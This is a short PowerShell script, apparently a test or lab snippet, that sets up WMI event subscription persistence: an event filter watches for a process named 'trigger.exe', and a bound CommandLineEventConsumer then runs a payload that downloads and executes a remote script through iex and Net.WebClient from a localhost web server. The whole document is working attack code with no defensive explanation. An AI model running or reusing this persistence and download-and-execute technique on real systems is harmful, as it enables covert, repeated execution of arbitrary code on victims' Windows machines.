WMI filter, consumer, and binding creation in powershell

WMI_trigger.ps1

$EventFilterName = "test_ps_filter2"
$EventConsumerName = "test_ps_consumer2"

$Payload = "cmd /C powershell.exe -nop iex(New-Object Net.WebClient).DownloadString('http://localhost:8000/pop.txt');"

#Event filter
$EventFilterArgs = @{
   EventNamespace = 'root/cimv2'
   Name = $EventFilterName
   Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'trigger.exe'";
   QueryLanguage = 'WQL'
}

$Filter2 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs

#CommandLineEventConsumer
$CommandLineConsumerArgs = @{
   Name = $EventConsumerName
   CommandLineTemplate = $Payload
}

$Consumer2 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs

#FilterToConsumerBinding
$FilterToConsumerArgs = @{
   Filter = $Filter2
   Consumer = $Consumer2
}

$FilterToConsumerBinding2 = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs